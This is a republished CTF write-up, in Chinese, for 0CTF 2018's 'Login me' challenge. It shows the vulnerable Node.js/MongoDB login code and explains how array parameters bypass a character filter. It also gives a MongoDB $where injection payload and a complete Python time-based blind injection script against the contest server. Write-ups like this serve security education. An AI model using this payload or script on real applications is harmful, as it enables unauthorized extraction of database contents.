4

0CTF 2018 Writeup

 2 years ago
source link: http://ultramangaia.github.io/blog/2018/0ctf-ctf-2018.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Login me

Hi, I've been learning NodeJS for a day!!!
I'm trying to make a simple login page with this awesome language, can you please check it out.
var express = require('express')
var app = express()

var bodyParser = require('body-parser')
app.use(bodyParser.urlencoded({}));

var path    = require("path");
var moment = require('moment');
var MongoClient = require('mongodb').MongoClient;
var url = "mongodb://localhost:27017/";

MongoClient.connect(url, function(err, db) {
    if (err) throw err;
    dbo = db.db("test_db");
    var collection_name = "users";
    var password_column = "password_"+Math.random().toString(36).slice(2)
    var password = "XXXXXXXXXXXXXXXXXXXXXX";
    // flag is flag{password}
    var myobj = { "username": "admin", "last_access": moment().format('YYYY-MM-DD HH:mm:ss Z')};
    myobj[password_column] = password;
    dbo.collection(collection_name).remove({});
    dbo.collection(collection_name).update(
        { name: myobj.name },
        myobj,
        { upsert: true }
    );

    app.get('/', function (req, res) {
        res.sendFile(path.join(__dirname,'index.html'));
    })
    app.post('/check', function (req, res) {
        var check_function = 'if(this.username == #username# && #username# == "admin" && hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;}';

        for(var k in req.body){
            var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
            if(!valid) res.send('Nope');
            check_function = check_function.replace(
                new RegExp('#'+k+'#','gm')
                ,JSON.stringify(req.body[k]))
        }
        var query = {"$where" : check_function};
        var newvalue = {$set : {last_access: moment().format('YYYY-MM-DD HH:mm:ss Z')}}
        dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){
            if(e) throw e;
            res.send('ok');
            // ... implementing, plz dont release this.
        });
    })
    app.listen(8081)

});

重点在于new RegExp('#'+k+'#','gm') 替换那里。

前面有个检测,

var valid = [‘#’,’(‘,’)’].every((x)=>{return req.body[k].indexOf(x) == -1});

可以通过传数组绕过。

username[]=a#dmin&password=123

则,req.body[k] 获取到的是一个数组,username[0]=”a#dmin”,所以,.indexOf('#')==-1 是可以通过检测的。

然后,构造注入语句

+%26%26+[]=# || 1==1){ if(JSON.stringify(this)[0]=='{'){sleep(10000)}  }else if(1){//&username%5C%5B%22=admin&password=456
if(this.username == #username# && #username# == "admin" && hex_md5(#password#) == this.password_6y0a9vnxsbgmequyja5c9885mi){
return 1;
}else{
return 0;}

["# || 1==1){ if(JSON.stringify(this)[0]=='{'){sleep(10000)} }else if(1){//"] 替换 # && #

if(this.username == #username["# || 1==1){ if(JSON.stringify(this)[0]=='{'){sleep(10000)}  }else if(1){//"]username# == "admin" && hex_md5(#password#) == this.password_6y0a9vnxsbgmequyja5c9885mi){
return 1;
}else{
return 0;}

"admin" 替换 #username["#

if(this.username == "admin" || 1==1){ if(JSON.stringify(this)[0]=='{'){sleep(10000)}  }else if(1){//"]username# == "admin" && hex_md5(#password#) == this.password_6y0a9vnxsbgmequyja5c9885mi){
return 1;
}else{
return 0;}

可以看到中间一段代码是我们可控的了。

写脚本时间盲注。

#-*- coding: UTF-8 -*-
import requests
import string
import re
from collections import OrderedDict


url = "http://202.120.7.194:8082/check"

guess = string.lowercase + string.uppercase + string.digits + string.punctuation + " "
# proxies = {"http":"http://127.0.0.1:8080"}
proxies = {}

def check(url,data):
    try:
        r = requests.post(url = url,data = data,proxies=proxies,timeout=6)
    except Exception, e:
        return True
        print e
    return False

if __name__ == "__main__":
    results = ""
    for d in range(99,250):
        result = " "
        for g in guess:
            print("%d -> %s"%(d,g))
            data = OrderedDict()
            data[' && []'] = "# || 1==1){ if(JSON.stringify(this)[%d]=='%s'){sleep(10000)}  }else if(1){//"%(d,g)
            data["username\[\""] = "admin"
            data["password"]  = "456"
            if(check(url=url,data=data)):
                result = g
                print(result)
                break
        print(result)
        results += result
        print("results is -> : " + results)
    print("results is -> : " + results)

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至[email protected]

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK